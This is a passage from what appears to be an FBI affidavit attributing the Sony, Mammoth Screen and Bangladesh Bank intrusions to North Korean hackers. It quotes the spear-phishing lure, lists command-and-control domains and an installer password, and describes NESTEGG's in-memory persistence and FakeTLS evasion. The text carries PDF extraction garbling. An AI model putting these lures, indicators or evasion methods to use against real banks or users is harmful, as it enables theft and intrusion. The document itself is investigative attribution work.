Interview\xe2\x80\x9d). 135. Between September 7 and 19, 2014, the subject using the \xe2\x80\x9cJohn Mogabe\xe2\x80\x9d Facebook account conducted some of the very same online reconnaissance that was conducted by the subject using the \xe2\x80\x9cAndoson David\xe2\x80\x9d Facebook account eight days earlier. \xe2\x80\x9cJohn Mogabe\xe2\x80\x9d also \xe2\x80\x9cliked\xe2\x80\x9d another production company associated with the \xe2\x80\x9cOpposite Number.\xe2\x80\x9d 136. As of January 21, 2015, watsonhenny@gmail.com\xe2\x80\x99s stored address book had saved in its contacts seventeen email addresses for Mammoth Screen personnel (each using the domain mammothscreen.com). Those same seventeen Mammoth Screen email addresses were also stored in the South Korean email account jasmuttly@daum.net (see paragraphs 119\xe2\x80\x93120). 137. Additionally, a subject created a LinkedIn account for \xe2\x80\x9chenny watson\xe2\x80\x9d using the email address watsonhenny@gmail.com, and used it to send multiple invitations to join \xe2\x80\x9chenny watson\xe2\x80\x99s\xe2\x80\x9d network. Among the recipients of those messages were the LinkedIn accounts subscribed using five of the Mammoth Screen email addresses saved in watsonhenny@gmail.com\xe2\x80\x99s address book. 138. Although evidence collected shows that an intrusion occurred, it was detected and subsequently remediated. However, as noted below in paragraph 166, an IP address registered to Mammoth Screen tried to look up a domain under the control of the subjects between January 23 and March 7, 2016.8 VIII. INTRUSIONS AT FINANCIAL INSTITUTIONS 139. As described below, at around the same time that the subjects were targeting and carrying out the attack and intrusions at SPE, Mammoth Screen, and AMC Theatres, they also began targeting financial institutions with the goal of 8 I received information indicating that, after the \xe2\x80\x9cOpposite Number\xe2\x80\x9d was initially greenlit, the show was not produced because it was determined to be commercially unviable for reasons unrelated to the intrusion. 53 mailto:watsonhenny@gmail.com mailto:jasmuttly@daum.net http:mammothscreen.com stealing money from those banks. These intrusions were carried out using some of the same accounts for spear-phishing and targeting, and used malware that shared similarities with the attacks on SPE and other victims, showing that that they were part of the same conspiracy by the same subjects, including PARK. 140. The intrusions generally proceeded by targeting the local networks of individual banks, which banks use the SWIFT system to communicate payment instructions. SWIFT is the Society for Worldwide Interbank Financial Telecommunication, a consortium of international financial institutions that manages a global communication network. SWIFT facilitates 24-hour secure international exchange of payment instructions between commercial banks, central banks and other financial institutions. 141. The intrusions of financial institutions generally began with online reconnaissance by the subjects related to an individual bank. The subjects would then send spear-phishing messages to employees of the bank, as well as email or social media addresses associated with that specific bank. Once a spear-phishing message had been successful and the subjects had gained access to the bank\xe2\x80\x99s computer network, they moved through the bank\xe2\x80\x99s network in order to access one or more computers that the bank used to send or receive messages via the SWIFT communication system. With access to that computer, the subjects were able to impersonate bank employees who were authorized to create and transmit messages through the SWIFT system on behalf of that bank, making those messages falsely appear as if they were authorized by employees of the bank. 142. The subjects executed the heists by crafting and sending real but fraudulent SWIFT messages\xe2\x80\x94i.e., authenticated messages sent from the victim bank\xe2\x80\x99s computer systems that were being remotely accessed to construct the messages, but which messages were not actually authorized by the victim bank. In addition to gaining access to the computers that interfaced with the SWIFT system 54 and then preparing and sending the fraudulent SWIFT messages, the subjects also took measures to conceal their activities and cover their tracks. Specifically, as part of transactions conducted using SWIFT, many financial institutions typically both generate a document confirmation (either in hard copy or as an Adobe PDF file) and use an Oracle database to retain a record of messages sent using SWIFT. The subjects here used malware that interfered with each of those processes at the victim banks (presumably to avoid alerting the victims of the subjects\xe2\x80\x99 activities), and then used other malware to delete evidence of those concealing activities. Some of those malware-based measures used to conceal their activities have connections to the malware used against SPE and other victims. Moreover, some of the very same accounts were used to target Bangladesh Bank as were used to target some of the other victims discussed above, including SPE. 143. Victims of these intrusions that have been linked to each other\xe2\x80\x94and to the attack on SPE\xe2\x80\x94have included Bangladesh Bank, as well as a bank Vietnam (the \xe2\x80\x9cVietnamese Bank\xe2\x80\x9d), a bank in the Philippines (the \xe2\x80\x9cPhilippine Bank\xe2\x80\x9d), a bank in Africa (the \xe2\x80\x9cAfrican Bank\xe2\x80\x9d), and a bank in Southeast Asia (the \xe2\x80\x9cSoutheast Asian Bank\xe2\x80\x9d). Connections between the attacks on SPE, the intrusions at Bangladesh Bank and the Philippine Bank, and the WannaCry ransomware malware (described below in Part X) are depicted in Chart 3, which connections include common accounts used for spear-phishing and common elements in the malware used in the intrusions. 55 BRAMBUL WORM MACKlRUCK BACKDOOR DESTOVER Chart 3 - tty198410@gmail com @hyon_u \xe2\x80\xa2 @!ii\xc2\xa5Mri1 MALWARE DEPLOYED ~ let"" func:tlO"" SIERRA CHARLIE (msoutc exe) secureoe MACKlRUCK BACKDOOR NESTEGG BACKOOOR A. Background Regarding Bangladesh Bank Cyber-Heist 144. In February 2016, Bangladesh Bank became the victim of a computer intrusion and cyber-heist that caused a loss of approximately $81,000,000, with an attempted theft that approached $1 billion. As a result of the intrusion, approximately $81,000,000 was routed to accounts in the Philippines, and $20,000,000 was routed to an account in Sri Lanka. The $20,000,000 sent to Sri Lanka was stopped by the recipient bank and the money never reached the intended recipient. The $81,000,000 that was successfully transferred to the accounts in the Philippines was subsequently laundered through multiple bank accounts, a money remitting business, and casino junkets.9 The majority of the $81,000,000 has not been recovered to date. 9 None of the accounts in the Philippines that received or laundered those fraudulently transferred funds were held at the Philippine Bank that was the victim of a computer intrusion that resembled the intrusion at Bangladesh Bank. 56 145. The hackers were able to gain access to Bangladesh Bank\xe2\x80\x99s computer terminals that interfaced with the SWIFT communication system, and then craft, authenticate, and send SWIFT messages that appeared to be authentic and originating from Bangladesh Bank\xe2\x80\x99s own computer system. Each of those SWIFT messages directed the Federal Reserve Bank of New York (\xe2\x80\x9cFRBNY\xe2\x80\x9d) to transfer funds from Bangladesh Bank\xe2\x80\x99s account held in U.S. dollars there to the specified accounts in the Philippines (and Sri Lanka) via specific U.S. correspondent banks. 146. The $81,000,000 that was successfully transferred was sent to bank accounts that had been created in the Philippines in May 2015 in the names of fictitious persons. The fraudulent SWIFT messages sent from Bangladesh Bank\xe2\x80\x99s computer systems included the (fake) names and (real) account numbers of the specific accounts that had been created in May 2015. 147. Evidence subsequently discovered has shown that the targeting of banks in Bangladesh by the subjects began as early as October 7 and 8, 2014, i.e., before the attack on SPE became overt and more than a year before the cyber-heist at Bangladesh Bank. The subject using [MONIKER 3 REDACTED]@gmail.com10 conducted online reconnaissance regarding specific banks in Bangladesh that the subjects later targeted with spear-phishing messages, including by visiting some of their websites. A subject later did online research about the central bank of Bangladesh (i.e., Bangladesh Bank) and on another bank in Bangladesh in February and October 2015, respectively, each of which were also targeted with spear-phishing emails by the subjects. Mobile devices that were connected to 10 In April and May of 2015, a DPRK person who was not PARK used watsonhenny@gmail.com to communicate with an individual in Australia about shipments of certain commodities to North Korea. That person, at least at some points, also appears to have used the email account [MONIKER 3 REDACTED]@gmail.com. Some of those communications are described generally in paragraph 276. 57 mailto:REDACTED]@gmail.com mailto:watsonhenny@gmail.com [MONIKER 3 REDACTED]@gmail.com were accessed from North Korean IP Address #3 in July, August, September, October, and November 2014, and January 2015. 148. The FBI\xe2\x80\x99s investigation, including its analysis and examination of digital devices and electronic evidence received from Bangladesh Bank, identified four key accounts used to target and infiltrate Bangladesh Bank: watsonhenny@gmail.com, yardgen@gmail.com, and two accounts connected to them, rasel.aflam@gmail.com and rsaflam8808@gmail.com. The spear-phishing emails from each of those four accounts were nearly identical (in some versions the words \xe2\x80\x9cand cover letter\xe2\x80\x9d were removed, and the links varied, as noted in some of the descriptions below) and read as follows: I am Rasel Ahlam. I am extremely excited about the idea of becoming a part of your company and am hoping that you will give me an opportunity to present my case in further detail in a personal interview. Here is my resume and cover letter. Resume and cover letter Thank you in advance for your time and consideration. 149. As discussed below, these links may have hosted the malware that allowed the subjects to gain initial access to the computer network of Bangladesh Bank. 150. In addition to the similar spear-phishing messages sent from each account, the same or similar hyperlinks at the same domain used in each message, and the overlap of the banks in Bangladesh that were the intended recipients, there are other connections between these accounts and others described above that show they were used as part of the same overall conspiracy. Those connections, showing that the intrusion at Bangladesh Bank was part of a campaign targeting multiple 58 http://www.[DOMAIN mailto:rsaflam8808@gmail.com mailto:rasel.aflam@gmail.com mailto:yardgen@gmail.com mailto:watsonhenny@gmail.com mailto:REDACTED]@gmail.com banks that was in turn part of the same overall conspiracy that had also attacked SPE, are discussed below. B. Malicious Accounts Used 151. The following sections discuss the malicious email and social media accounts that the subjects used to target Bangladesh Bank, as well as the subjects\xe2\x80\x99 use of those accounts in the targeting of and intrusions at other victims. 1. watsonhenny@gmail.com 152. As discussed above (e.g., paragraphs 110\xe2\x80\x93110.b and 136), watsonhenny@gmail.com is the account that used tty198410@gmail.com as a secondary account and that was also accessed by the same device as tty198410@gmail.com. Further watsonhenny@gmail.com is also the account that signed up for an SPE file-sharing service, that saved contacts in its address book for Mammoth Screen employees, and that was used to create a LinkedIn account that sent invitation requests to Mammoth Screen employees. 153. In addition to the Mammoth Screen employees\xe2\x80\x99 email addresses stored in watsonhenny@gmail.com\xe2\x80\x99s address book, by June 24, 2015, the account also had thirty-seven email addresses of personnel at Bangladesh Bank saved in its address book. These email addresses ended with \xe2\x80\x9c@bb.org.bd,\xe2\x80\x9d the domain of Bangladesh Bank domain. 154. Moreover, in addition to the LinkedIn invitations that watsonhenny@gmail.com\xe2\x80\x99s LinkedIn account sent to Mammoth Screen employees (see paragraph 136), that account also sent a LinkedIn invitation to the LinkedIn account associated with a Bangladesh Bank employee, whose contact was also stored in watsonhenny@gmail.com\xe2\x80\x99s address book. 2. yardgen@gmail.com 155. As discussed above, a subject using yardgen@gmail.com researched the email account of one of the actors in \xe2\x80\x9cThe Interview,\xe2\x80\x9d saved contacts in its address 59 mailto:yardgen@gmail.com mailto:yardgen@gmail.com mailto:watsonhenny@gmail.com mailto:tty198410@gmail.com mailto:tty198410@gmail.com mailto:watsonhenny@gmail.com mailto:watsonhenny@gmail.com book for two of the actors in \xe2\x80\x9cThe Interview,\xe2\x80\x9d and sent a test spear-phishing email addressed to the name of one of those actors to tty198410@gmail.com. 156. On January 29, 2015, a subject using yardgen@gmail.com conducted online research about cover letters and hacking-related topics like PDF exploits and certain CVEs.11 157. On January 29, 2015, yardgen@gmail.com sent 10 email messages to sixteen different email addresses of employees of Bangladesh Bank. Each of those messages purportedly sought an employment opportunity. In the emails, the following link was included, which purported to contain a r\xc3\xa9sum\xc3\xa9: http://www.[DOMAIN REDACTED].com/CFDOCS/Allaire_Support/ahlam/Resum.zi p. Forensic analysis regarding that link is discussed in paragraph 164.a. 158. On February 23, 2015, yardgen@gmail.com sent two email messages to ten recipients at Bangladesh Bank, which were identical to the email described above in paragraph 148, except that the \xe2\x80\x9clinked\xe2\x80\x9d text displayed only \xe2\x80\x9cResum.zip\xe2\x80\x9d (but if clicked on, it would take the computer to the same URL or website discussed in the previous paragraph). 159. Among the recipients of those emails sent by yardgen@gmail.com was a specific Bangladesh Bank email address (ending in bb.org.bd). On January 27, 2015 (i.e., approximately one month earlier), a subject who used the Facebook account registered using agena316@gmail.com conducted online research about that email address and that Bangladesh Bank employee, along with online research related to Bangladesh Bank and bankers in Bangladesh. (As described above in paragraph 130.b, agena316@gmail.com sent spear-phishing email messages to recipients at both SPE and AMC Theatres.) Moreover, a subject using that same 11 A person using the same account also conducted research that same day related to the Department of Justice and the Foreign Agents Registration Act (i.e., FARA). 60 mailto:agena316@gmail.com mailto:agena316@gmail.com mailto:yardgen@gmail.com mailto:yardgen@gmail.com http://www.[DOMAIN mailto:yardgen@gmail.com mailto:yardgen@gmail.com mailto:tty198410@gmail.com Facebook account\xe2\x80\x94registered to agena316@gmail.com\xe2\x80\x94also conducted online reconnaissance related to SPE during the previous month, on December 7, 2014, and AMC Theatres on November 30, 2014. 3. rsaflam8808@gmail.com 160. The email account rsaflam8808@gmail.com was registered using the name \xe2\x80\x9cAflam Rasel\xe2\x80\x9d and used a recovery email address of watsonhenny@gmail.com, used the Korean language setting, had been accessed using a Proxy Service, and was disabled on August 12, 2015 (just after sending the spear-phishing emails described below). Rsaflam8808@gmail.com was also accessed from an Indian IP address on August 12, 2015, which IP address was also used to access mrwangchung01@gmail.com (one of the Brambul collector email accounts) on February 23, 2015. Additionally, the account rsaflam8808@gmail.com was accessed by a device that also accessed mrwangchung01@gmail.com (as noted below in paragraph 162). 161. On August 11, 2015, rsaflam8808@gmail.com sent a message to another Bangladesh-based bank (not Bangladesh Bank). The content of this email was the same as the emails sent by yardgen@gmail.com to employees of Bangladesh Bank, as discussed in paragraphs 157\xe2\x80\x93158, but the link was as follows: http://[DOMAIN REDACTED].com/CFDOCS/Allaire_Support/Ahlam/Resume.zip (including the \xe2\x80\x9ce\xe2\x80\x9d after \xe2\x80\x9cResum\xe2\x80\x9d). The name of the purported sender of this email, \xe2\x80\x9cRasel Ahlam,\xe2\x80\x9d appeared in the body of the email and appeared to be an inadvertent misspelling of \xe2\x80\x9caflam,\xe2\x80\x9d which was used in the email address itself. 4. rasel.aflam@gmail.com 162. Rasel.aflam@gmail.com was registered using the name \xe2\x80\x9cRasel Aflam.\xe2\x80\x9d On August 11, 2015, it was used to send what appeared to be two test spear- phishing emails to the email account mrwangchung01@gmail.com\xe2\x80\x94the body of which appeared the same as the message quoted above in paragraph 148. As noted 61 mailto:Rasel.aflam@gmail.com mailto:rasel.aflam@gmail.com http://[DOMAIN mailto:yardgen@gmail.com mailto:rsaflam8808@gmail.com mailto:mrwangchung01@gmail.com mailto:rsaflam8808@gmail.com mailto:mrwangchung01@gmail.com mailto:Rsaflam8808@gmail.com mailto:watsonhenny@gmail.com mailto:rsaflam8808@gmail.com mailto:rsaflam8808@gmail.com above in paragraph 41, mrwangchung01@gmail.com is one of the Brambul collector email accounts, it was accessed from North Korean IP address #6, and it was accessed by the same device used to access rsaflam8808@gmail.com (and registered to \xe2\x80\x9cAflam Rasel\xe2\x80\x9d), tty198410@gmail.com, and watsonhenny@gmail.com. Specifically, the day after the test spear-phishing email was sent, on August 12, 2015, a device used to log into watsonhenny@gmail.com was also used to log into mrwangchung01@gmail.com. 163. On August 11 and 12, 2015, rasel.aflam@gmail.com sent twenty-five spear-phishing messages to employees of multiple Bangladesh-based banks. The text of each of the emails was the same as the email quoted above in paragraph 148, but the linked text displayed \xe2\x80\x9cResume and cover letter\xe2\x80\x9d and the hyperlink was updated to: http://www.[DOMAIN REDACTED].com/CFDOCS/Allaire_Support/rasel/Resume.zi p (replacing \xe2\x80\x9cahlam,\xe2\x80\x9d which appeared in some of the messages described above, e.g., paragraph 161, with \xe2\x80\x9crasel\xe2\x80\x9d). C. Results of Forensic Analysis 164. After the compromise of and cyber-heist from Bangladesh Bank, forensic review and analysis revealed the following: a. At least three Bangladesh Bank computers had attempted to download the file \xe2\x80\x9chttp://www.[DOMAIN REDACTED].com/CFDOCS/Allaire_Support/Ahlam/Resum.z ip\xe2\x80\x9d\xe2\x80\x94i.e., the same link sent by yardgen@gmail.com\xe2\x80\x94between January 29 and February 24, 2015. The users of two of those computers corresponded to two of the addressees to which yardgen@gmail.com sent a spear-phishing email. The user of the third computer corresponded to one of the contacts saved in the address book of watsonhenny@gmail.com. This shows that, as with the subjects\xe2\x80\x99 cyber-attack on 62 mailto:watsonhenny@gmail.com mailto:yardgen@gmail.com http://www.[DOMAIN http://www.[DOMAIN mailto:rasel.aflam@gmail.com mailto:mrwangchung01@gmail.com mailto:watsonhenny@gmail.com mailto:watsonhenny@gmail.com mailto:tty198410@gmail.com mailto:rsaflam8808@gmail.com mailto:mrwangchung01@gmail.com SPE, the subjects were successful in causing recipients at Bangladesh Bank to download the payload from their spear-phishing emails. b. Subsequently, in March 2015, that analysis showed that the subjects had moved within the Bangladesh Bank network and had saved a file that was a backdoor that communicated over a custom binary protocol designed to look like \xe2\x80\x9cTLS\xe2\x80\x9d traffic. That malware was capable of performing file transfers, creating .zip archives, and executing certain files. It had three IP addresses hard-coded (i.e., programmed) into it. i. I know, based on my training and experience, that \xe2\x80\x9cTLS\xe2\x80\x9d or \xe2\x80\x9cTransport Layer Security\xe2\x80\x9d is a cryptographic protocol that is used to increase the security of communications between computers. The \xe2\x80\x9cFakeTLS\xe2\x80\x9d signature that is referenced is a protocol that mimics authentic encrypted TLS traffic, but actually uses a different encryption method. ii. By utilizing \xe2\x80\x9cfake\xe2\x80\x9d TLS, many computer network intrusion detection systems will ignore the traffic because they assume the contents cannot be decrypted and that the traffic is a common communication protocol, allowing the hackers to carry on communications without tripping security alerts. iii. As discussed below in paragraphs 170.c and 183\xe2\x80\x93183.d, a fake TLS communication protocol is a common technique used in Lazarus Group malware. Thus, the malware used in March 2015 shared this and other traits with the Lazarus Group, and the spear-phishing emails above that sent the link that was clicked on in January were sent by one or more subjects, i.e., members of the Lazarus Group. c. Nearly a year later, on January 29, 2016, days before the fraudulent transfers were made, the subjects engaged in a number of lateral movements throughout the network, including from the computer where they had installed a file that communicated by mimicking TLS traffic. One of those moves 63 was to Bangladesh Bank\xe2\x80\x99s SWIFTLIVE system. That system was the core component of Bangladesh Bank\xe2\x80\x99s SWIFT processing environment. It used the SWIFT Alliance Access application, which was a customer-managed gateway to the SWIFT network that transmitted and received messages from other banks that create and confirm financial transactions. As the application received SWIFT messages, it would record local copies of the messages, including by formatting and printing those messages to files or a printer and by entering information associated with them in a separate database. d. As the hackers tried to move onto the Bangladesh Bank computer hosting the SWIFTLIVE system, they made at least four attempts to log- in to it. The subjects had successfully deleted some evidence of their attempts to log-in to Bangladesh Bank\xe2\x80\x99s SWIFTLIVE system, but left some evidence that was later found during the forensic examination. Significantly, one of those log-in attempts (that presumably was not successful) used the name of a specific currency exchange business in South America (the \xe2\x80\x9cSouth American currency exchange\xe2\x80\x9d). Bangladesh Bank has confirmed that no account or credentials with that name resided on its system. 165. Separately, that South American currency exchange had already been targeted by the same subjects, and thus the attempt to use credentials associated with it was likely an error by the subjects who were conducting or managing multiple intrusions at the same time and remotely accessing Bangladesh Bank\xe2\x80\x99s computer systems. As described below, this shows that the subjects who were carrying out the intrusion in Bangladesh Bank were the same ones targeting the South American currency exchange. Domains used to target both Bangladesh Bank and the South American currency exchange were managed by accounts that were controlled by the same device or group of devices, and that those DDNS domains were controlled by North Korean IP addresses. 64 a. Specifically, an IP address assigned to the South American currency exchange was observed trying to resolve or \xe2\x80\x9clook up\xe2\x80\x9d the specific domains mones.biz.tm, pubs.ignorelist.com, and lakers.crabdance.com, between December 11, 2015 and March 14, 2016. Those domains were controlled by a DDNS provider, and two particular accounts at that DDNS provider managed those and certain other domains. Moreover, that DDNS provider had identified a number of accounts that were accessed by the same device or devices, which each in turn controlled a number of domains. (Thus one computer was being used to manage dozens of domains.) Although the FBI\xe2\x80\x99s local legal attach\xc3\xa9 had notified the South American currency exchange of the possible breach through its local counterparts, it is not known precisely what caused the resolution request or the attempt to \xe2\x80\x9clook up\xe2\x80\x9d that domain\xe2\x80\x94e.g., a piece of malware being executed or used on the currency exchange\xe2\x80\x99s computer, or network or IT security personnel (or automated network security services) testing a link contained in a file found on its systems. b. Two other domains, mlods.strangled.net and bepons.us.to, were, along with mones.biz.tm, pubs.ignorelist.com, and lakers.crabdance.com, under the control of DDNS accounts that were accessed (and thus controlled) by the same device. The former two domains were found in a forensic review of a computer at Bangladesh Bank that was compromised during the intrusion. The domains were found by the FBI in a memory \xe2\x80\x9cdump\xe2\x80\x9d that was captured as the result of an application that crashed or failed on January 27, 2016. The application likely crashed as a result of activity conducted by the hacker while he or she was removing some traces of malicious activity from the computer, and thus the manner in which the domains had been used could not be determined. But the fact that these domains\xe2\x80\x94which are distinct and not commonly trafficked websites\xe2\x80\x94were found on a Bangladesh Bank computer, which domains were being controlled by the same computer that also controlled the domain that the currency exchange tried to 65 http:lakers.crabdance.com http:pubs.ignorelist.com http:mones.biz.tm http:bepons.us.to http:mlods.strangled.net http:lakers.crabdance.com http:pubs.ignorelist.com http:mones.biz.tm \xe2\x80\x9clook up,\xe2\x80\x9d shows that both Bangladesh Bank and the South American currency exchange were victims of the same group of subjects. c. Also among the domains controlled by those DDNS accounts accessed from the same device were statis.ignorelist.com and repview.ignorelist.com. These two domains were embedded in malware found at the Philippine Bank. The Philippine Bank was the victim of an intrusion, but one that did not result in the fraudulent transfer of funds. The malware used in connection with that intrusion at the Philippine Bank was similar to the malware used against Bangladesh Bank, as discussed below in Part VIII.D. 166. Another domain under the control of the connected DDNS accounts controlled by the subjects was bitdefs.ignorelist.com. Among the IP addresses that had tried to resolve or \xe2\x80\x9clook up\xe2\x80\x9d that domain was an IP address assigned to Mammoth Screen, the U.K. production company, between January 23 and March 7, 2016. D. Comparison of Malware Used and Other Targeted Banks 167. Aside from Bangladesh Bank, the subjects targeted and in some instances were successful in gaining access to multiple other banks in multiple countries. This Part describes the connections between some of those other victims and intended victims, including through the malware that was used to carry out the intrusions. There have been multiple different types of connections between the malware used at some or most of the victims, including use of the same family of malware at different victims, a shared \xe2\x80\x9cframework\xe2\x80\x9d used for different types of malware used in the intrusions, a \xe2\x80\x9csecure delete\xe2\x80\x9d function that appeared in different types of malware at different victims, a common data table embedded in the malware used in connection with multiple victims, a DNS function that calculated a command and control IP address based on the result of \xe2\x80\x9clooking up\xe2\x80\x9d an IP address assigned to a domain the subjects controlled, similar encryption keys, and domains 66 http:bitdefs.ignorelist.com http:repview.ignorelist.com http:statis.ignorelist.com under the common control of the subjects to which they caused their victims\xe2\x80\x99 computers to connect. 168. The malware files used against each of the victims did not share all of these traits. Moreover, each trait examined alone might not foreclose the possibility that source code had been shared or sold. But when evaluated collectively, the number and strength of the connections between the malware used against these victims shows that the malware used in these intrusions was the work of a group of persons who had access to the same library of source code and were thus working collaboratively and in concert. These connections are separate from, and in addition to, the overlap in the accounts used to target victims through reconnaissance and spear-phish some of the same victims, and the overlap in the other infrastructure used to control and carry out the intrusions. 1. Families of Malware 169. The subjects of the investigation have used several distinct \xe2\x80\x9cfamilies\xe2\x80\x9d of malware to conduct their computer intrusions. That is, although samples of malware within these families are not identical to each other, cyber security companies have identified key features and characteristics that allow the specific classification of malware into narrowly defined categories, each of which has been given a name by the company analyzing it. Malware samples belonging to the same family are likely created by the same group of programmers with access to the same source code. 170. I know the following about families of malware used by the subjects of the investigation based on both public and private reports written by cyber security companies, as well as from analysis by an FBI computer scientist of the malware and forensic images of computers from victims: a. \xe2\x80\x9cContopee\xe2\x80\x9d is a backdoor observed in several computer intrusions of banks, including the intrusions at the Philippine Bank and the same 67 Southeast Asian Bank referenced in paragraph 143. Contopee can gather information about a compromised computer, as well as to start and stop other programs on the computer, and upload files to and download files from the computer. Many Contopee samples communicate with a DDNS domain for command and control via port 443.12 In such samples that have been identified by the FBI, the DDNS domains used were linked to accounts controlled by the subjects of the investigation, as described in paragraph 48. Examples of DDNS domains found to be embedded in Contopee samples analyzed by the FBI are tbs.fartit.com, ovhelp.mrbasic.com, and onlink.epac.to. b. \xe2\x80\x9cNESTEGG\xe2\x80\x9d is a backdoor that was used in connection with intrusions at financial institutions, including at Bangladesh Bank. NESTEGG exists \xe2\x80\x9cin memory\xe2\x80\x9d; that is, the malware runs in the computer\xe2\x80\x99s memory without existing on the hard drive. In order to install NESTEGG, the hacker first places an executable program (generically called a \xe2\x80\x9cdropper\xe2\x80\x9d) that contains an encrypted payload on the target system\xe2\x80\x99s hard drive. The hacker then runs the dropper with a command that includes a password, instructing the dropper to decrypt the payload using the MD5 hash of the password, store it on the hard drive, register it as a Windows service (a type of program that runs outside the user\xe2\x80\x99s view), and start the service. This service is a second dropper that contains another encrypted payload; the second dropper decrypts its payload using the same MD5 hash and loads it into the memory of the computer. This second decrypted payload continues to run as an 12 In addition to the IP addresses used to route traffic on the internet, internet traffic also includes a \xe2\x80\x9cport.\xe2\x80\x9d Once the right IP address is located and the traffic is routed there, the port is effectively a channel that allows the computer to separate different kinds of internet traffic based on different types of communication protocols. For example, web browsers often communicate over port 80 or 8080, secure web browsing often occurs over port 443, and certain email protocols use port 25, 110, or 143. Traffic to port 443 may be legitimate TLS traffic or it may appear to be TLS traffic when in fact it is not. 68 http:onlink.epac.to http:ovhelp.mrbasic.com http:tbs.fartit.com executable program from the computer\xe2\x80\x99s memory, and functions as the NESTEGG backdoor. Furthermore, the program copies the second dropper to the computer\xe2\x80\x99s memory before securely erasing it from the computer\xe2\x80\x99s hard drive and deregistering the service so that it is difficult for cyber security experts, forensic examiners, or security software to detect its existence. Once NESTEGG is running on a system, it listens for commands on a specific port. It is capable of acting as a proxy to send commands to other infected systems, and accepts commands to upload and download files, list and delete files, and list, start, and terminate processes. Because a computer\xe2\x80\x99s memory is cleared when the computer is shut down, NESTEGG attempts to detect when the computer is being shut down. In that case, NESTEGG will copy the second dropper from the computer\xe2\x80\x99s memory to the hard drive and register it as a Windows service again, to ensure that the second dropper is re-run the next time that the computer is powered on so that it reinstalls NESTEGG. c. \xe2\x80\x9cMACKTRUCK\xe2\x80\x9d is a backdoor, and variants of it were used in both the attacks against SPE and Bangladesh Bank. It uses the FakeTLS protocol referenced above in paragraph 164.b.i and described in more detail below in paragraphs 183\xe2\x80\x93183.d to communicate with a hardcoded list of servers via port 443 for command and control. 171. In addition to the shared code used in the malware discussed below, an analysis of the malware found on the computer systems of financial institutions that were victims of the subjects, and of the connection logs at those victims, has shown that the subjects used a number of IP addresses as command-and-control IP addresses to carry out the intrusions. In addition to those banks mentioned here, the subjects have targeted and in some cases successfully infiltrated other banks, but in those cases the intrusions were detected before the subjects were able to 69 effect fraudulent transfers from those victim banks or the fraudulent transactions were eventually reversed. 2. Use of NESTEGG 172. One of the pieces of malware found on Bangladesh Bank\xe2\x80\x99s network that the subjects used in the heist was NESTEGG. Throughout the intrusion, the NESTEGG dropper was consistently named \xe2\x80\x9chkcmd.exe.\xe2\x80\x9d I know based on my training and experience that hackers will often name a malicious file with the same name as a non-malicious file that is routinely found on computers in order to attempt to conceal that the file is malicious. Here, hkcmd.exe is also the name of a legitimate utility file published by Intel Corporation that is deliberately and legitimately placed on many computers during the process of their manufacture. 173. Forensic analysis at Bangladesh Bank showed that NESTEGG was used on January 20, 2016\xe2\x80\x94specifically, that a task was scheduled to install NESTEGG (hkcmd.exe) using the password nf300karjfs9e8rhtQJ3u9gh. According to the command syntax, the password was then \xe2\x80\x9chashed\xe2\x80\x9d using the MD5 algorithm, and the result was used as a key to decrypt two specific resources. Forensic analysis showed that, about 30 seconds later, the firewall was modified to allow inbound access using a specific port, and then shortly afterward malware used that port to begin accepting commands. 174. The FBI has received information from a foreign investigative agency indicating that the command used to install the particular NESTEGG dropper (hkcmd.exe) used in Bangladesh Bank matched a piece of malware with the same name (hkcmd.exe) that the foreign investigative agency had obtained from an investigation of a separate hacking incident by North Korean subjects. Both hkcmd.exe files decrypt another piece of malware, and then execute it in memory, rather than storing it as a file on the hard drive of the compromised computer. 70 175. Most significantly, the hkcmd.exe file found by the foreign investigative agency in the other North Korean hacking incident used a lengthy password, and the majority of the password was identical to the password used in the Bangladesh Bank intrusion. Specifically, the password (which is hashed to generate the key) that was used to install NESTEGG at Bangladesh Bank was nf300karjfs9e8rhtQJ3u9gh, and the password used in the hkcmd.exe file found in the separate North Korean hacking incident was f200karjfs9e8rhtQJ3u9gh (underlining added for emphasis). This password is a value that can be chosen by the hacker and, as noted in paragraph 188.a, had not been publicly published on the internet or through other publicly available sources at the time of either incident; it is therefore highly improbable that the two passwords would randomly contain that identical string of characters. Furthermore, as detailed below in paragraph 188.a, the same password as the one used at Bangladesh Bank was used to install NESTEGG at the African Bank, and another sample of the NESTEGG dropper that used the same password was recovered from a bank\xe2\x80\x94the same Southeast Asian Bank referenced in paragraph 143\xe2\x80\x94that was a victim of a computer intrusion in late 2016. 176. The FBI\xe2\x80\x99s examination of the computers that were compromised at the Vietnamese Bank in late 2015 found forensic artifacts on the computers left behind from the subjects\xe2\x80\x99 activity that showed that a file with the name hkcmd.exe had been executed on the compromised computer. That is the same name of the NESTEGG dropper that was used in the intrusion at Bangladesh Bank and in the separate North Korean computer intrusion discussed above in paragraphs 174\xe2\x80\x93175. The file was no longer stored on the computer, indicating that the subjects had deleted it in an attempt to conceal their activities, and it had also been securely deleted, likely using the procedure discussed below in paragraph 179.b. Although, as detailed above in paragraph 172, hkcmd.exe is the name of a file that can serve a 71 legitimate function on Windows systems, because it was executed from a non- standard location on the computer and was securely deleted, it likely contained malware used in furtherance of the intrusion. 177. It should be noted that the malware used is not the only connection to be drawn between the intrusions at the Vietnamese Bank, Bangladesh Bank, and elsewhere carried out by the subjects. Specifically, the user of an account that was accessed from North Korean IP Address #5 previously researched the Vietnamese Bank, visited the Vietnamese Bank\xe2\x80\x99s website, researched the BIC code for the Vietnamese Bank, and researched the BIC code used by a correspondent bank needed to carry out one of the intended fraudulent transfers from the Vietnamese Bank.13 That research was conducted in late 2015 before the unauthorized SWIFT messages were sent in December 2015. The user of the account also researched the time zone of a correspondent bank that the subjects intended and attempted to use for a fraudulent transfer from a victim bank in 2016, days before the cyber-heist there. The user of the account also visited a SWIFT online user guide and conducted research on various hacking-related topics, including brute force attacks and hacking banks. 3. Secure Delete Function: Connections Between Intrusions at Bank Victims and SPE 178. Separate from the use of NESTEGG, multiple private cyber security researchers have published reports explaining that the malware used in connection 13 A BIC is a \xe2\x80\x9cbusiness identifier code\xe2\x80\x9d that is used by the SWIFT system to uniquely identify banks and financial institutions (including the sending and recipient bank). A correspondent bank is a bank that is used as an intermediate bank to effect a transfer between two other banks, often by holding accounts in different currencies on behalf of other banks. Thus the fact that the subjects were researching the BIC code for their intended victim as well as for a correspondent bank needed to route fraudulently transferred funds shows that they understood correspondent banking and were preparing to\xe2\x80\x94and did\xe2\x80\x94incorporate those details into the unauthorized SWIFT messages they generated and sent. 72 with the intrusion at Bangladesh Bank shared other distinct code with the malware used against other banks in Asia.14 Furthermore, other malware that was used in the intrusions at the Vietnamese Bank and the Philippine Bank shared significant similarities to malware used by the group that 